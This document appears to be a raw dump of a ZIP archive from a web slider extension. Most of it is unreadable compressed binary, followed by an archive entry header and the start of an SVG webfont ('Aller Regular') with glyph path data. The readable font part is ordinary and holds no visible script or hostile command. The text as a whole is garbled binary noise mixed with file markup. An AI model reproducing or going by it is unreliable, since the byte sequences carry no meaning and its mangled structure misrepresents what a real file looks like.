b,�U�pʜ�<� Eg��RKLO�&�#;�Ni�
��s�R8��gF��:��L�|��c�|��bɎPhp���&l�2�os�>1�C�����Yҥ$?d��H�/�
�]pE�JP���e!�@�r�3\Ił:����2c�ޑM��yy#?$R�����A?��ٝ�8qO�G�P\v���"���){�p1��s�QQ*z3�HP��s�G;D�0y�2�-qJ)0x9~7+k�����4���&��%��l���R���Ḧ�M�*��A?�Ζc�^�%%���)�4���Q��rn��
�Z����%�Z��WL��I�.'�rImq�yJL ��_�Q�PJ�r�Y�(;�
=�2��%tB��'�z���$eYǡ�@ "D:<Ma 7 BXǀA�_�c��ͻ /��������M#��&bښ����@����0
>Cж���`��r�:���s���;n2�&\���Ź��a��iX��k �W  >
}����\T��#��4�d�8����U7�H
���I͗�$Mx"�
^��g���C��R�K�t��b�� !�R��p�r�*rF�֊���Q�p�&�q�`�K� :�"X�\j��y��w�(��;t�x��/�&�],�K�
ݝ=b����#�R(���u��6�#���T����
�9��E�j?��p��W9'1��Ɣ�c�&�P����#%�
��T��Hh5
<
ZjY"�-���5�$zA�S$r:�C�†��H�u�5�$���ↈ��Pn._�B*�2%����Uɣ���ASE�[���
��=��?J!��xb4�\x2w痬U���^8�#�+&��΋��j��@Y�3Iq�#(���c�t��?�agMU�ܩI�{5�ؿR;Qè�St�%�)2W�mX���@�sI����#�ER 9bx�)��D�%�QP�Shp=��0�j[B���Խ��`�s&,���
p&
n7�6i�q�t��x�>�,v�9���yE���-�u5|4a�j/��8X�Z�&�0�K�!�=΀t�n;����#Eʢc8��<�1H`~�8R�gn<0�?<�4
c�`�~-$�Zy�'�s6��"������XTL�4��t�9�MK�8�g7�mH�L����ɛ�sK�&�%���Ȩi9��	�i�d��d呢��"lcx��\=�Vi��?]@`���^Bb���
r�-,��V����gG�8Z�̄`��nQ�gy�~g0˧0���La��᪾����eB'����!‘4!q璛j�]��29��ξ����L1�Qؐ��^�/zb��C��!|]z[���I���'��Ԡ�ދ28H�$C�
A1&99����p)�h�{-ۡ�-�LD�Fx�?EHN8SJ�YZi�(Cv5g@���9��d*h*�[��ql&>��%�M��Eg>��gS1�v�$f<�>B:�u����0�״��CohE2���p^�@�DW��V�0��"	���S���6l�b�w[d��B�s�R���Asp�p�fS��z�.�^��~�'��zm?�WX�i�|ə�N�����LchU��
tO���OA��Ōf�u�{�%�w�!�L;t��iKD����E!�[��<���dzўi5�KB��gKۋ��f!��\�5>�a�CoVB��l�b�2T��/�na
���#�^��_#ԭ�ya��`0�e�;�Bp��G����8��i��͍�v��zG��5��Kcsm�� ���
vt�a��5���Ĥ��NI~`S�K���`NI~P�O��1
=;���%	.Ū�H���v������B��a��S-�����$�F�2��+t����^k�7��^�a�c�t/ȅ�*�#�3��)\͉��W���x��B�x����u�*��U�H��N��7�ھ����r�*��g�zw�ӚR`��5!�����4�=�'VlYI�b֑,=ƥ��n�cH����;��#5$���
ys���*x��-�Rf�q�f�Sg�rcI�u�n�h�
X�?TE�5�~�6t]1T�I3V���y�s�5d�hQ�O���S�a����{�!�
�B���v)�\\L`�N+kB�%�����.WeXm�	����J$��>~J���BD�^u8�أ���c�&�iE�k�ԓq�&�H����r�IѡI@���uKV����o��c� �p5�ՈA�'���/��JS�:	��y�iN��0)o?wD_3i��(�L�YH��h�m���H����K���:��X���UӔ�<LJ)��߶�s�H��
�Z��.v'�Ù�.s��c�k8���-����YX��`��(jx��S��NZ΃��8������J��=�wD?�|�&�����O��H���ȑ��fX�H�<s���Hx���|;hǤ��s� �,��8e�]övYh�g�h��a���Uo��w�H���[�LQq��9�W��i5ޗ��|(Q �T�'�
 dϻ������n���ʙOT�t_�}À��i����=$z:�N�tW3f([Xx�?2���
��.VN�<�x����]�8�upl��+�e}ͬf-b,+��\UqI�.�D�g��j��cJ�H��HQ+�@҆�D�qnȅJ�ҡ��E���҈���S 8��7��8Jw��JOH��W�X�d�
��<ηI��|��`�,/�a��P}X9�ΈY0��_��^ʴ)�-@�����@S��ۄ��z8ȃW��_ڟ��0�b��P�n�xp~���piG��Ɓ�:��1�'��fl�DAb�C�����@9�p����D(��m{��
Z�$m�K�	|t?�%M��T].Ju���ƾ�]�a,��3�s4<x��4���(�E��rP�g;YA���D�C�8�I���v�,�6
�ȩP�sS��J�D�e.x���x��J
r�F��h����]��
����[�T�PT�Y��v�W7gք�^1gP`���XIe`E�qr�,���N+ƙ����K��N�g&Lm>�-y	pi��0Py�_���3+S�H��Y���4���e����f�=�4d�h:�$d��0�I�"�t�e@�EӖ�:A��i
]�8�#��2=����TFR��w�kp�jC+@~.6Բ ��0�J�dH�`)�-3�������q�B��Y�":2�#U�@F��,"rSd��Xjܶ�������,~EhݲٻY�
��=����,*P���	�^������=j�]C�eoO�Q��9��n@�`,>��0汿��v�ѐOv2X�!���bk���lm��y�8Ҫ6+�x�g
s�	�g>l���68����r`�l�ia��/�@F��<�ë�@������KPKLn����+(
$�!�h<	��]�%?�^�AD�x�h|M��De��y(n$�񋌄�M��v]q�a�{L豬�ҕ�,p�d`"r3?�����.�PO?;c��'�(�+�A�H��ڻ�aFM��ء�:j�&B;F�	����n(c�
��	?:��\E���A#�T	�D��ĄS��#$!�F�qԠJ V|�$K#�l�Bg|�( Hq����2����y�|
�R�31����ˉ�C�E͋���AFա1~�歋t��?W[����}�
޴1r9�!�UO42�o�R�]��V�s�*T�/�8�XVH�A�~i��1�����"g�I��@��@`E%M�*�e\ݔ��'lʧ�"Tj�~F:�n�
F�"��f��N>�L�^���Ŕ%Va	�:s���֎�!�����7��=���3��Fo�$����: �Ġ"(~�U-3��)1�J��AQF������(O�D+� Xo �)b{�kOGXd"?8�V����BRg1<�K���/΀{j2+w���������d�<z[-��/�	tg%!V
�o\#�W$鍆����b6	;Y�&<�ca��8�M�����Y��%�L�j�'D3J��5�z/JQ��}���.;�� ?J
��4���@ę	�]7�^�V`;�'c��ܥ�2��&�0����(q��
�PO�/���p7�($�wZG"���X�9�pa���~�/e�x�a3�N����3�y��
׆��T�2�q�����l$3����7F��6�ag;�����r���G����>OR��y�L��N
����i���3� c�?���qN9f� ��ew��݊������ɯ"��h��YZ2ҳc��^�|�=��z�?0k�X�f�
	�
��������D�+&΢�fr�`�ªZ�DY�H�qQ�L86f��&?#�Q0����_ы����r����$n�p�e抧�ƻ����r6���i�2�ܒi���֕އ��ጊgg�=�†�!rd��1��F$n<���EC;ȉ]n��J���Rϻ�|�%	�V��Tۗ�I�]���YScj;:���KL�`������D��	��
�/�idG���ۈ������f�����;$�_������K�G��~�����RVw��LČc�.f)$�abt.i�nu�����J�B��3>��HSy��BV�m�7�<�����f��?��%ɷ�̨�ge��2�*<5vY&�Nނ︚���忇�P�Y��>���4�_��m�N�3x='U�m9a�%{�Q�G��߂�6�>֍oDC��	{�,�{�HG�8�BZ�*(��$*A�>thj[Y�v@��F5�����q�$�dv���H;ޱ?NvԜ3ec��$в�8HVsuYp��[y���{���(�h����C�K���Xil.V.`W;�h��港x�#݇����7�Eχ;�ي������	h>��\B�#a��E1�L!-��pي{~^J0��;%N'��Γ�%�OpP�(���)`9�J�Q)n�΢j�yͭ�]
�F�6�Gn.�D��0�D<����>�t�:�%yl�'�$Xr.d_��ǝFeG�?+��J�i��$��%���S]j����Y�
w?告NШK07�.h�ZpC�iR^x�hӑHVb(���q!��Z� ���*�r����+NbRwN*��2�Ii"�R����_Y=��B|��}*ѵ��y���,@dR��/��|p��}BH���2'���7�%-�7��.�[4�[+��i�A�VdP#Fn!Vc�#���bwh�'��ゼN9�n6t7�n-<`�lK�_{>K���Ȓx(��j���S��|��2S�',����-�������[��uZ$���k^ޛ��gJ�Q�x)�*�a#�`%6u'ݳ�%��\
NA�zNoעҚDa�"ٲ���>�1&,	�+t_lP���u���H�>����煃r���^�=��_IO}?E�ˤ�������"Eu���Q���}�G��6a�*oj�3U-v)��c�74h[@>r5��N��LjI��V`v�8;�� Q��a�!�0�xu�x�`� S�n��G�>Wc��PW�������p��R{:I�����਽���c�\3G	�w�}���+5"Sv���J8�upR�+��	ِ�$b�Y���slE'nB��d�[Q3��x8��r!l6vv�j`j�23�`����!Py�(�^)�UGBɀnF�Х�.h<��34J`��������&Q�I��tɓ��S(�~��?�D����+�ҙ�!��1?���t�t�´c�#�4g+�.a� h;{�	���Т0.+�q�c}�d U%�5�&��t03^��$���(e~A<p�t�\
v��tO>��€}��E���V"ALŜ����@\�T�Ā�@!n���i? ��S�ޝ$}7㼵�G�A�c��IJv%�3f>M�����#,E]NS�9�g�k�6�����&2���M�"�,����$�-���CaN���Ebl��/��g�м=`w�(k^e�& /�B���2}7͵�`�lɎ�+PEr�^�QJ�
[��2@:u.�	���˯\�|4�:6Ȥ�I�b�6�,<�3���µ򛧚l�6�O!�4\!bY�@�j�kN~C��;�~���S�k�/�2Řc�V�Q�2�}��@ڸ;[>i3y6Pע���;<r0n7|IM�Y��{6�?��]�H����p�\D��H�w�Y�Sk[b�g,�V��k��Δ:v-P.{]��8�I+��h���l��ˡ?��q{ȿ�q�G�f���צ,�:�B�E~�^ez�-E��|�ƺW`�l�ϼ����G1f�wx�t͘� X�$P �Ȝ��=��̲kX|��D��3)�#k���5�D��%�Ғm(<#*H8:]�W22$/<�2&DO��!e�C�$u�r�I����{�i:��* �Ϳ�S�7!����q�S����uI}@�݂ܨ��lޒ}l�S����p�hb�����Lz��
����Y�,<��+8�7E9��T�W
f��Rȴ���C��ɟ=��c�5y4o��+V M����Z��9F~r;�vY.^�)\�l|'�&�$-�����Ӄ`���f<�.��4�X��b���b
�H0!�!�N�}V�fL֙�
�;�#��M�U�`k�w��\:� �7W;��iT	�P���g�S�(9���@�}B��o.��u�9뭄�ǀ�J�)���ڽd�o�������8�u"��\��nb��4�����Wpa@�U�r�o�,��x{R*��P2�IJz�%=Y��Ƽ�`��'�xl<�`[
�v��<�H͆���4�oN÷�����VQH�QBV��0��.�5�|r�flő��8l�6-i5{{rP�h�x�
Wq��W/|�ãQ% n>�*ڴR�4.�1��#�D�zw�({1���=x��|aw��ɞ!z<����9�N���#$f��TH��;]0-�@�k�!�+��*ن\Fҧi��O�}� ��3���䧆��ʏ񔔮)���p���4�' .e��-sz.��n�3�@�C��	�P~]=o�#r�blwU�2	l
��.�o(Uo/����ѱБ��?(D]��-�{�<���I\�[~a�_E	%�l_b=����-�*�[��k^;�w]��G��peb�,��1>��0�t���3���n��������t$�	���ٸd�u�;�5�P�l���A�F�.��P��ӷF��������"��}
+����c��*j!2*|,���DK�'`J<n�5[`X�e�Rۍ��(����C�����(£H�(�6��|�a,��%fg���2�pAe�PBH?����"�P"n�$������A7�a��N\i��.����X�5�EO���óLJV�.�=�/	BC����m�g�����.?�dYԃӊF�:V�F�;��SF1�ØvjJ�!a�М�?OIb�i�(��Ոi�@TYB‚)٨�<S���c��Q��R�S?�}ܧ����Q�UC��H����$~�r*�i�k���p*?p9�(4�v���g�&���Kn}
&�k��@`�6����!�J�E�`�v��"r�8�T�`�	��`�1�2��E�s=t�R�gT""��/)��p&˶�]boLY6�>�6(<H	��J�V]��s�,�f��	fWnp��Ķ͞�>>n���%���sˈ�Hv�@FCq ����\o�h!�Y�BF ��? (�����)ˡ���V$�@�D�%|"}�����kK9qCG��֕�S�����3��.���������A��{h�	cʢ�Յ�
V8�ph.:�k�s}���ʊ��S��H�SW���Z!
I�#LjE��:�,�yu_�ꈑ~�Kgi�,��[�qH��Hv?�*���0��d&dHA�qtHl]���ƺxmt�3���{Z�ߌQ]���C��}��떑[�=8�5�Ƞ�N�$�T ���P/�@ؓN�ق�<l�&Ѳ��)'�E�ݺ��^#�.�9ۨ�
`�*��C���U�MC��<WDDZڴ���xLO�4�%].|Aj\H�F������ �܄���0��܌�W���-��.��ƃC>���k~�N��-šiZ��\C�8�+��l�l����2VD쳄��j��7�3�^�nm(��!�:�Qė�q�ŵ��&��~�1��C@W!SW�n�僸r���d�I��Bټ���\���dNc�J�g`X������M�&Rb�d�ce�H���u��r��T������}w�~��$]�E��2���؍M��y�h�0�<֕~�*�J+�	`�H���V��k�C4T@V��U3=�A�P5���5aR���P*�\�O��"���$���F7�!���ֈ���o�Bl)��M�G�8�/�p=�4�Sr�	o΅b|[��l�N!�:���+�-P��A��e���Y�	/��9�
c��Z�ՙ�c�8s����$���9�<X'MHD�Ho�I�N.\��f�QbN�K5�}���H��38>]�r@��p�xI?����jQ�=&M��kj\��x1�$2�p��e��
�)��2%G�L�6���
�	C04�!�`�bt���:�
��&�L�ѩ��b�� ;�#5� /�P�<P\d~���q���H��4����=�LF����$M���=D�-+�1��uR��P��z|O喁[Ri�C��r��p�*��&�=����3�A�������9�7�8�~~��H8�V�̫�t�'�rRn2�����AOT��^$x��*u�G"��!}��.T9��C&��`C�(��$��|���d�Cג�=�A���[�6����t"��$����E%5GK�����qZbŤ���?�GMgG]ma��m�1�+@�K&_���O�@,�nh���WR��A���8��im�]���DU0��
���문m�A�ʺ.4C�Y�i;1�,�s�$�s�^�X�J7��ء0 �	+hS�X�H��T��5y�Y@1n��7��{26.�I��j�M�wk%jV)ٜ�Aq��ſ�.�
������WJ�m��0�R]����]�@��r+��`����`o��}�x��[	-R���ԯD�
�?
��dv�0m~L-M�0U���U?� ���/�Z)C�;@�A(��3����fLſ"����l�nT�Sؼ`r�����E!�T�Y��p8H��+Tk�(��Vm����kU�J<QRz[��-��繢ޜ�<!+���b�BK��ֺ��M�`��<ˊxA\�J�L�j�7� ��P`�$�g�w��0 �2?��3�ID��ށ&��(��)�k�砰�@l߮@���m;�������2Ä���.�R�M-�3	��=����KfP��uۮ}b�)!Hg�sQ��²A	�V ������o����K���\���26;G�{��#^P&#A���%�j0����SG
Ezb�=��J�|^��� H�<e��
��RDc�=�����dKM�	
 3c�Dl�����+�b�NsTRL��/��3��/I�g���,Zݔ��@A_�2]��_)�S��/X� #@�}xҬ�ߘK���?���VvE�Tf��M��A&�%��\Pt�R���E�!����z
Yק��$l�+�|�Tϓ򠅓�˕)\�F�ݎpg�A��ޣ��4�M��+�*��äA/�3X����+NJ�W�c��st{���s�NO�>9��S�F�0�3���Y�~����Θ/ao�J�2�57�=���b�r�C�L|�^�KA�iH[뒹c��QXD^��Ҿ<���͇� ]������j�a�`�Z���(�V
]��F>�~3e䐄nPn��K��W��P7:/��S�`^k�����}�c��m�>4����Ē��Q�*�[���sJ�x��~.��H<wa͚_��R}�H,ϏV։)o3�xX:|�|1$a�^-�T��P9Z$a�ܒ��<�S�ۘ���N�$O�v)�O�m�mr�]E��a�Q���O���C�$�b�׾�x?5!�������ϻ�4G�*}`_?{�E��]~�F��X�t��Mh��0�ضj����͎�	a��IK�$��.�4{F~�,<�R��"�ǃ�=@e�w��@�YJ=�����S!	!j@2N�E5��� �
�ZI�:�W[�j�6�IlT��7��]��D��+���x#>T
�E|h�<�������Ek����ޜvOx�S�$��3�UH�FMׁ܄}�؛��	@��.�-IT��^�
���-�&��x�k.�R*Ș�$�:*I/7I9ʂ�C9
'�jЎ�5/��r`+�Oe�ic׻�� &`����d���/	�%	����p�T����	��@ڑ������/n��8�����+��@P��3x�zKJ��.�0��~K�u�P��6%�Vf�1���M4����%0�2�ڵZ纠����ݮ�Իu��45g6�����ܻ^���q�8��V��ncC��\ӥ���O�Њ��'�瓟_�FT4ؖz��Fp��ºk�|8ulMY;�":�R�Y
�^����J�׆„� ���!ߕ��mM3���E9<��X��z
QAKPh�
���#�".0�J;��a�"�䀙��!v�|�1Vc4ၔ'o�qi��V��}�@��̋h��)���]e����U��%��];��qc��e���	�.�NhT`��<��Cb)�޼q}d~�iGF�e9d�%��̽N)�;G���V��4��E�9҉��ɛ6۪A/[a��k��ߏ�l�J��#�-x`N9���^z�D��e�3
���W���ߛ�;�#.�5�
9��Hx�T�>
P9|�^���>��M����.q�/��3�(nV�1�H���Dݦ��y�`�Ն�JN�s�pc��`{�|���'�1Mz�˼У}���0���x����
�6\�e��\��˺�Z��h�@�Cd�2Ѻ�;[Hl�����R4J���.Q�Kn���D)�S���_;Y��GR"`pGJ?r^r�.V^W[�Z��x8<$�\ ���#t6Q4˜��-ޥMB���U��\��z��*@�Q%�!|@������)N�֊�k�񎀅om��i������<P�İp_��ī���,M@*%9��
&	��%/oE
���X�3P�D����8�v
��b2�ف���+�,y�1�Xj�i�a]����ϳ�q�� S�S�T�Q�8�ң�u��2�o9%PVS,��(�|�L�:ؽ�p��T����[��1g6���t?(v����yMJ�q5r$rg�)S��C���t$�
���P�AM��J�,�	D*��4
Da�������A�4Ip�U�)�<eӨ_S�h+���le�:�h���O�646n{�������F*>-�*DD�	"J���|�|�6
�x��.���~���Q��ܣ��mO}x�(\TGyP��`6�;�?K"(�Z�^��Ϡ1b8�j뒰�2¶����֖�
I�f�_,��a�
�j�����!Z>ЙKdQ-�Y	n��B(2��v��Uj�ݒ+ r���T�Pk��k=RL7�����ˏ�>ZU	1��9$a{(�$-��a=@�����?{�b��GK���[-����7N�VtL7�Ƴ �D�L/
b���Ff���ґ	��Y'�[,*U}���:*��&D�q��b]غ^.��R�"����z�u�Lh�(��L��t{�x��
�����l4o�q"<�2�����qb�tP�+�o������LY2 �d���UT�8��	QJܵ%�T����h�����w3"<˖��FȬ˜<�
6S�밀�hfx�����,�<�=Ͳ�\Գ�<۹��%�s��,�U[�*����n
5�D����?S�01Mh1۬�?{MɃe�]��c�ߌ(i'ƒ1��@J|�� @"�4�;�9�j/�_�.�8�Yψ��n��'�ܐ��{�LR�d$˾����R��N���PMck�^8'pI��@ܑ�m�X���}�'YH��愹�h�"�]����kN�]�a��}�75�ї^�²�c��/�Z�⨽P�\�x����m�%2���E��*E8�ӧ���e��O�K�w#�5lRve,sI�H-'a�X7B�8p@��*8�Ӊ�%0�hJl���٥0@
�Yn��(�֤nU�t��Bgk��6���9�������v'���[����aZeSl��6�!�j�θ����yF��!�-�8���$���� �X
AH''��h�Q]�C����o���}q��v-�^�#M�I���\l9�Y�O
������+H_����,/�R(RdGʦ���X�*f'��o&E�~��r3G�%�G;6�&Xê�m�8�4I�h�s�7��5���<��@@f#:���#�ɂuТ%��Gh	eU\^���Ɣ���	=�Y��v��L�Ur�̘Y�d5�C�d�%�W��y�8q5�@�q�Д�8#.b0�qJ�@9��ʀ����D����ZO{3nj��<5Ƥ4�$�Ҍ7X�I�Ϊ�qxj=s �{CA�NW����������#ߤ�m��R�z�����r���T���cI���1�Z$�#l1�̀����f�}1���	�F$���Ʋ�c��j�B��X
�]܌m��)�f� �����^�KP��(24@=)o�eYH�y��
��P�C#�YX� �fߨD�W��"�<�2l-���;i�<AD'����SP2�4�(�!Ff�k�\�L �FU),�ǺƢBܕ�9!:�����
X���v����'�"�8� �J� ��f��{��3�P.�]�mkk��!X��`�F�.�s&U�Wm� L�0I���
��I����*b�Fi��5�i�D._!�A��WpFD\J@%�0
��W�r���~��j]�;
ހ�Z��~�4�G	���݆M��1N��?cax%��4�_Aq3��f�taq�V���c����g\Jk��>�*J��VIحC�W��3Þ)��#�j���I�˖�D!��L^�C�;�����t���+�);�y7�B�1�{�M�
!9FH�S���� ј6��!tA�����p�7#�����m���"e�+�y�OM�P]~\��[��%��2m�J�����y���nY�C:��Da�ǟm�ZWO��ȯP\.J��@o7��Ҟ,�j����iR�#m�UZU̓�aQ���
l�r��U�%T�oS�M����N�>pyn�{�����N���)y�RB�nP�w���!X���
�8s�0�%E>�����
��[}�*@)D؄60�U�L�q;�-F�^V�9�NBḤ
"�����}���)�A�Cr��5����>�X�����Z��d!��O���I��ŤpS��g����H'�m��{�'rE��a�l7��A<5Z��^���\I�E�1�QYW���<5*�^!�m6!��ʹ��-Y�;VC	�p�=g~�0ɷ-�ogJU�6m��(�tՋ��
��/S����U�Gȷ�閆�ږ)���]�2l���r��r����z~yFLൄ\�,�5+�h�8���B �.�vb�H��G1�GP:PK!
��?�H�H?mod_ap_smart_layerslider/admin/fonts/aller/aller_rg-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata></metadata>
<defs>
<font id="allerregular" horiz-adv-x="1228" >
<font-face units-per-em="2048" ascent="1638" descent="-410" />
<missing-glyph horiz-adv-x="485" />
<glyph unicode="&#xfb01;" horiz-adv-x="1234" d="M55 971q0 45 8 80h173v73q0 195 115.5 296.5t318.5 101.5q82 0 148.5 -10.5t150.5 -38.5q0 -47 -14.5 -89.5t-34.5 -76.5q-61 25 -111.5 35t-122.5 10q-53 0 -98 -9.5t-78 -35t-52.5 -71.5t-19.5 -118v-67h633v-1051q-23 -4 -50.5 -6t-49.5 -2q-23 0 -50.5 2t-50.5 6v891 h-432v-891q-23 -4 -50.5 -6t-49.5 -2q-23 0 -51.5 2t-50.5 6v891h-173q-8 33 -8 80z" />
<glyph unicode="&#xfb02;" horiz-adv-x="1296" d="M55 971q0 39 6 80h175v73q0 195 118.5 296.5t347.5 101.5q104 0 185.5 -11.5t159.5 -25.5v-1108q0 -80 8 -125t23.5 -68.5t40 -28.5t55.5 -5q20 0 42.5 2t38.5 6q12 -35 16.5 -75t4.5 -81q-31 -10 -71 -13t-75 -3q-68 0 -121 15t-89.5 55t-55 107.5t-18.5 170.5v1005 q-35 8 -78 11.5t-78 3.5q-55 0 -102 -10.5t-81 -36t-52.5 -71.5t-18.5 -118v-67h250q6 -43 6 -84t-6 -78h-250v-889q-23 -4 -50.5 -5t-49.5 -1q-23 0 -50.5 1t-49.5 5v889h-175q-6 39 -6 82z" />
<glyph unicode="&#xfb03;" horiz-adv-x="1873" d="M55 971q0 45 8 80h173v63q0 195 96 296t278 101q53 0 98.5 -7t79.5 -17q-6 -53 -20 -90t-31 -74q-18 6 -44.5 11t-63.5 5q-43 0 -79 -9t-60.5 -34.5t-38 -70.5t-13.5 -117v-57h443v73q0 195 115.5 296.5t318.5 101.5q82 0 148.5 -10.5t150.5 -38.5q0 -47 -14.5 -89.5 t-32.5 -76.5q-63 25 -113.5 35t-122.5 10q-53 0 -98 -9.5t-78 -35t-52.5 -71.5t-19.5 -118v-67h633v-1051q-23 -4 -50.5 -6t-49.5 -2q-23 0 -50.5 2t-49.5 6v891h-433v-891q-23 -4 -50 -6t-50 -2t-51.5 2t-50.5 6v891h-443v-891q-23 -4 -50.5 -6t-49.5 -2q-23 0 -51.5 2 t-50.5 6v891h-173q-8 33 -8 80z" />
<glyph unicode="&#xfb04;" horiz-adv-x="1941" d="M55 971q0 39 6 80h175v61q0 195 96 296t278 101q53 0 98.5 -6t79.5 -16q-8 -53 -21 -91t-30 -73q-20 4 -46.5 10t-61.5 6q-43 0 -79 -10t-60.5 -36.5t-39 -71.5t-14.5 -115v-55h445v73q0 195 118.5 296.5t348.5 101.5q104 0 185 -11.5t159 -25.5v-1108q0 -80 8 -125 t23.5 -68.5t40 -28.5t55.5 -5q20 0 42.5 2t39.5 6q12 -35 16 -77t4 -79q-29 -10 -70 -13t-75 -3q-68 0 -121 15t-90 55t-55.5 107.5t-18.5 170.5v1005q-35 8 -78 11.5t-78 3.5q-55 0 -102 -10.5t-81 -36t-52.5 -71.5t-18.5 -118v-67h250q6 -43 6 -84t-6 -78h-250v-889 q-23 -4 -50 -5t-50 -1t-50.5 1t-49.5 5v889h-445v-889q-23 -4 -50.5 -5t-49.5 -1q-23 0 -50.5 1t-49.5 5v889h-175q-6 39 -6 82z" />
<glyph horiz-adv-x="0" />
<glyph unicode="&#xd;" horiz-adv-x="1024" />
<glyph unicode=" "  horiz-adv-x="485" />
<glyph unicode="&#x09;" horiz-adv-x="485" />
<glyph unicode="&#xa0;" horiz-adv-x="485" />
<glyph unicode="!" horiz-adv-x="593" d="M174 113q0 29 2 58.5t6 57.5q29 4 56.5 6.5t56.5 2.5t58.5 -2.5t58.5 -6.5q4 -29 6 -57.5t2 -56.5q0 -29 -2 -57.5t-6 -57.5q-29 -4 -57.5 -6t-57.5 -2t-57.5 2t-57.5 6q-4 29 -6 56.5t-2 56.5zM190 1473q27 4 52.5 6t52.5 2q29 0 57.5 -2t57.5 -6l-13 -1031 q-47 -8 -96 -8q-55 0 -96 8z" />
<glyph unicode="&#x22;" horiz-adv-x="860" d="M131 911v562q23 4 48.5 6t49.5 2q25 0 49.5 -2t47.5 -6v-562q-47 -6 -97 -6q-53 0 -98 6zM532 911v562q23 4 48.5 6t49.5 2q25 0 49.5 -2t47.5 -6v-562q-47 -6 -97 -6q-53 0 -98 6z" />
<glyph unicode="#" horiz-adv-x="1505" d="M129 504q0 23 2 45t6 41h266l29 338h-254q-8 33 -8 80q0 45 8 79h266l29 326q25 4 47.5 5t48.5 1h43.5t42.5 -4l-26 -328h348l29 326q25 4 47 5t49 1h44t44 -4l-29 -328h240q6 -37 6 -73q0 -47 -6 -86h-252l-29 -338h238q4 -16 6 -37t2 -39q0 -23 -2 -45.5t-6 -40.5h-252 l-31 -369q-47 -6 -90 -6q-47 0 -90 6l29 369h-349l-28 -369q-49 -6 -96 -6q-43 0 -93 6l31 369h-254q-6 37 -6 76zM588 590h348l29 338h-351z" />
<glyph unicode="$" d="M154 39q4 45 17 91t30 89q70 -23 143.5 -40t177.5 -17q168 0 250 65.5t82 180.5q0 57 -17.5 96t-52 67.5t-88 52t-125.5 54.5l-98 41q-61 25 -112.5 55.5t-89.5 72.5t-58 99.5t-20 136.5q0 158 95 258.5t273 124.5v199q31 8 70 8q41 0 74 -8v-190q86 -4 168.5 -18.5 t142.5 -37.5q-10 -86 -45 -170q-55 20 -127 35.5t-166 15.5q-129 0 -198.5 -49t-69.5 -151q0 -49 18 -85t54 -63.5t86 -50t114 -49.5l78 -33q74 -31 133 -63.5t101 -77.5t65.5 -106.5t23.5 -149.5q0 -174 -99 -283.5t-279 -144.5v-236q-16 -4 -35 -6t-35 -2q-18 0 -36.5 2 t-37.5 6v219q-10 -2 -16 -2h-13q-63 0 -114 4.5t-95 12.5t-85 20.5t-84 26.5z" />
<glyph unicode="%" horiz-adv-x="2150" d="M90 1038q0 88 23.5 167t70.5 138.5t120 94.5t171 35t170 -35t120 -94.5t71.5 -138.5t23.5 -167q0 -90 -23.5 -168.5t-71.5 -137t-120 -93.5t-170 -35t-171 35t-120 93.5t-70.5 137t-23.5 168.5zM278 1038q0 -137 46 -211.5t151 -74.5q100 0 148.5 74.5t48.5 211.5 q0 135 -46.5 210t-150.5 75q-100 0 -148.5 -74.5t-48.5 -210.5zM481 2l989 1448q25 4 50.5 6t50.5 2q27 0 54.5 -2t51.5 -6l-989 -1448q-29 -4 -53.5 -6t-48.5 -2q-57 0 -105 8zM1278 411q0 88 23.5 167t70.5 138.5t120 94.5t171 35t170 -35t120 -94.5t71.5 -138.5 t23.5 -167q0 -90 -23.5 -168.5t-71.5 -137t-120 -93.5t-170 -35t-171 35t-120 93.5t-70.5 137t-23.5 168.5zM1466 411q0 -137 46 -211.5t151 -74.5q100 0 148.5 74.5t48.5 211.5q0 135 -46.5 210t-150.5 75q-100 0 -148.5 -74.5t-48.5 -210.5z" />
<glyph unicode="&#x26;" horiz-adv-x="1558" d="M119 418q0 68 19.5 133t55 121.5t84 98.5t103.5 65q-88 39 -148.5 111.5t-60.5 195.5q0 90 35 156.5t94 110.5t140 65.5t171 21.5q53 0 119 -8t137 -33q-2 -47 -12 -83t-33 -70q-53 16 -102 23t-96 7q-68 0 -114 -17.5t-75.5 -45t-43 -62t-13.5 -71.5q0 -88 58.5 -140.5 t187.5 -52.5h446l189 258h16v-258h266q8 -35 8 -80q0 -23 -2 -44t-6 -42h-266v-303q0 -125 -43 -219t-123 -156.5t-191.5 -93.5t-246.5 -31q-109 0 -209.5 25t-177 78t-121.5 137t-45 203zM344 451q0 -141 88 -216t256 -75q119 0 196 30.5t120 82t59 119t16 138.5v244h-415 q-74 0 -133.5 -25.5t-100.5 -70.5t-63.5 -103.5t-22.5 -123.5z" />
<glyph unicode="'" horiz-adv-x="456" d="M131 911v562q23 4 48.5 6t49.5 2q25 0 49.5 -2t47.5 -6v-562q-47 -6 -97 -6q-53 0 -98 6z" />
<glyph unicode="(" horiz-adv-x="653" d="M102 623q0 162 21.5 307t56.5 268t79 221.5t91 169.5q16 4 42 6t54 2q29 0 55.5 -2t49.5 -6q-25 -43 -66 -126t-80.5 -204.5t-68.5 -280.5t-29 -355q0 -195 29 -354.5t68.5 -280.5t80.5 -204t66 -126q-23 -4 -51.5 -6t-57.5 -2q-27 0 -51.5 2t-40.5 6q-47 70 -91 169 t-79 222t-56.5 267.5t-21.5 306.5z" />
<glyph unicode=")" horiz-adv-x="653" d="M102 -342q25 43 66 126t81 204t68.5 280.5t28.5 354.5q0 197 -28.5 355.5t-68.5 280t-81 204.5t-66 126q23 4 49.5 6t55.5 2t54.5 -2t41.5 -6q45 -72 90 -170t80 -221t56.5 -268.5t21.5 -306.5q0 -162 -21.5 -306.5t-56.5 -267.5t-80 -222t-90 -169q-16 -4 -40.5 -6 t-51.5 -2q-29 0 -57.5 2t-51.5 6z" />
<glyph unicode="*" horiz-adv-x="993" d="M78 1126q8 63 41 121l256 -67q-12 -82 -47 -152zM201 762l143 223q33 -16 65.5 -39.5t63.5 -52.5l-170 -207q-29 16 -54.5 33.5t-47.5 42.5zM418 1206l16 267q31 6 62 6t65 -6l17 -267q-23 -4 -42.5 -5t-39.5 -1t-40 1t-38 5zM520 893q31 29 63.5 52.5t65.5 39.5 l144 -223q-23 -25 -48.5 -42.5t-54.5 -33.5zM618 1180l256 67q33 -57 41 -121l-249 -98q-35 70 -48 152z" />
